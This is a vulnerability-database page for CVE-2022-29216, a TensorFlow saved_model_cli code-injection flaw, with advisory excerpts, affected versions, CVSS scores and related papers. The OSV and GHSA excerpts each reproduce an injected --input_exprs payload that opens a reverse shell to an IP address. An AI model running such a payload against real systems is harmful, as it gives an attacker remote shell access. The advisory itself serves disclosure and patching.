CVE-2022-29216
published 2022-05-21CVE-2022-29216: TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, TensorFlow's `saved_model_cli` tool is vulnerable…
PriorityP342high7.8CVSS 3.1
AVLACLPRLUINSUCHIHAH
EPSS
0.54%
41.6th percentile
TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, TensorFlow's `saved_model_cli` tool is vulnerable to a code injection. This can be used to open a reverse shell. This code path was maintained for compatibility reasons as the maintainers had several test cases where numpy expressions were used as arguments. However, given that the tool is always run manually, the impact of this is still not severe. The maintainers have now removed the `safe=False` argument, so all parsing is done without calling `eval`. The patch is available in versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4.
Affected
13 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | tensorflow | — | — |
| tensorflow | < 2.6.4 | 2.6.4 | |
| tensorflow | — | — | |
| tensorflow | — | — | |
| tensorflow | — | — | |
| tensorflow | >= 2.7.0 < 2.7.2 | 2.7.2 | |
| intel | optimization_for_tensorflow | >= 0 < 2.6.4 | 2.6.4 |
| intel | optimization_for_tensorflow | >= 2.7.0 < 2.7.2 | 2.7.2 |
| intel | optimization_for_tensorflow | >= 2.8.0 < 2.8.1 | 2.8.1 |
| tensorflow | tensorflow | < 2.6.4 | 2.6.4 |
| tensorflow | tensorflow | — | — |
| tensorflow | tensorflow | — | — |
| tensorflow | tensorflow | — | — |
CVSS provenance
nvdv3.17.8HIGHCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.04.6MEDIUMAV:L/AC:L/Au:N/C:P/I:P/A:P
ghsa7.8HIGH
osv7.8HIGH
vendor_debian7.8LOW
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
OSV
Code injection in `saved_model_cli` in TensorFlow
osv·2022-05-24·CVSS 7.8
CVE-2022-29216 [HIGH] Code injection in `saved_model_cli` in TensorFlow
Code injection in `saved_model_cli` in TensorFlow
### Impact
TensorFlow's `saved_model_cli` tool is vulnerable to a code injection:
```
saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./
--tag_set serve --signature_def serving_default
```
This can be used to open a reverse shell
```
saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default
```
This is because [the fix](https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7) for [CVE-2021-41228](https://nvd.nist.gov/vul
GHSA
Code injection in `saved_model_cli` in TensorFlow
ghsa·2022-05-24·CVSS 7.8
CVE-2022-29216 [HIGH] CWE-94 Code injection in `saved_model_cli` in TensorFlow
Code injection in `saved_model_cli` in TensorFlow
### Impact
TensorFlow's `saved_model_cli` tool is vulnerable to a code injection:
```
saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./
--tag_set serve --signature_def serving_default
```
This can be used to open a reverse shell
```
saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default
```
This is because [the fix](https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7) for [CVE-2021-41228](https://nvd.nist.gov/vul
Debian
CVE-2022-29216: tensorflow - TensorFlow is an open source platform for machine learning. Prior to versions 2....
vendor_debian·2022·CVSS 7.8
CVE-2022-29216 [HIGH] CVE-2022-29216: tensorflow - TensorFlow is an open source platform for machine learning. Prior to versions 2....
TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, TensorFlow's `saved_model_cli` tool is vulnerable to a code injection. This can be used to open a reverse shell. This code path was maintained for compatibility reasons as the maintainers had several test cases where numpy expressions were used as arguments. However, given that the tool is always run manually, the impact of this is still not severe. The maintainers have now removed the `safe=False` argument, so all parsing is done without calling `eval`. The patch is available in versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4.
Scope: local
forky: resolved
sid: resolved
No detection rules found.
No public exploits indexed.
arXiv
LLM in the Middle: A Systematic Review of Threats and Mitigations to Real-World LLM-based Systems
arxiv_fulltext·2025-09-12
LLM in the Middle: A Systematic Review of Threats and Mitigations to Real-World LLM-based Systems
LLM in the Middle: A Systematic Review of Threats and \ to Real-World LLM-based Systems
Vitor Hugo Galhardo Moia\,0000-0003-0396-2873,
Igor Jochem Sanz\,0000-0002-1122-0784,
Gabriel Antonio Fontes Rebello\,0000-0003-3344-0734,
Rodrigo Duarte de Meneses\,0009-0008-7026-6863,
Briland Hitaj\,0000-0001-5925-3027, and
Ulf Lindqvist\,0009-0002-5941-0947
Vitor Hugo Galhardo Moia, Igor Jochem Sanz, Gabriel Antonio Fontes Rebello, and Rodrigo Duarte de Meneses are with Instituto de Pesquisas Eldorado, Av. Alan Turing, 275 - Cidade Universit\'aria, Campinas - SP, 13083-898, Brazil (e-mail: [email protected]; [email protected]; [email protected];
[email protected]
Briland Hitaj and Ulf Lindqvist are with the Computer Science Lab, SRI International, 333
arXiv
Leveraging Large Language Models for Command Injection Vulnerability Analysis in Python: An Empirical Study on Popular Open-Source Projects
arxiv_fulltext·2025-05-21
Leveraging Large Language Models for Command Injection Vulnerability Analysis in Python: An Empirical Study on Popular Open-Source Projects
Leveraging Large Language Models for Command Injection Vulnerability Analysis in Python: An Empirical Study on Popular Open-Source Projects
Command injection vulnerabilities are a significant security threat in dynamic languages like Python, particularly in widely used open-source projects where security issues can have extensive impact. With the proven effectiveness of Large Language Models(LLMs) in code-related tasks, such as testing, researchers have explored their potential for vulnerabilities analysis. This study evaluates the potential of large language models (LLMs), such as GPT-4, as an alternative approach for automated testing for vulnerability detection. In particular, LLMs have demonstrated advanced contextual understanding and adaptability, making them promising candidates fo
arXiv
Threat Assessment in Machine Learning based Systems
arxiv_fulltext·2022-06-30
Threat Assessment in Machine Learning based Systems
Threat Assessment in Machine Learning based Systems
Lionel Nganyewou Tidjon and Foutse Khomh, Senior Member, IEEE
The authors are with Polytechnique Montréal, Montréal, QC H3C 3A7, Canada.
E-mail: \lionel.tidjon, foutse.khomh\@polymtl.ca
## Abstract
Machine learning is a field of artificial intelligence (AI) that is becoming essential for several critical systems, making it a good target for threat actors. Threat actors exploit different Tactics, Techniques, and Procedures (TTPs) against the confidentiality, integrity, and availability of Machine Learning (ML) systems.
During the ML
cycle, they exploit adversarial TTPs to poison data and fool ML-based systems. In recent years, multiple security practices have been proposed for traditional systems but they are not enough to cope with th
https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/tools/saved_model_cli.py#L566-L574https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7https://github.com/tensorflow/tensorflow/commit/c5da7af048611aa29e9382371f0aed5018516cachttps://github.com/tensorflow/tensorflow/releases/tag/v2.6.4https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0https://github.com/tensorflow/tensorflow/security/advisories/GHSA-75c9-jrh4-79mchttps://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/tools/saved_model_cli.py#L566-L574https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7https://github.com/tensorflow/tensorflow/commit/c5da7af048611aa29e9382371f0aed5018516cachttps://github.com/tensorflow/tensorflow/releases/tag/v2.6.4https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0https://github.com/tensorflow/tensorflow/security/advisories/GHSA-75c9-jrh4-79mc
2022-05-21
Published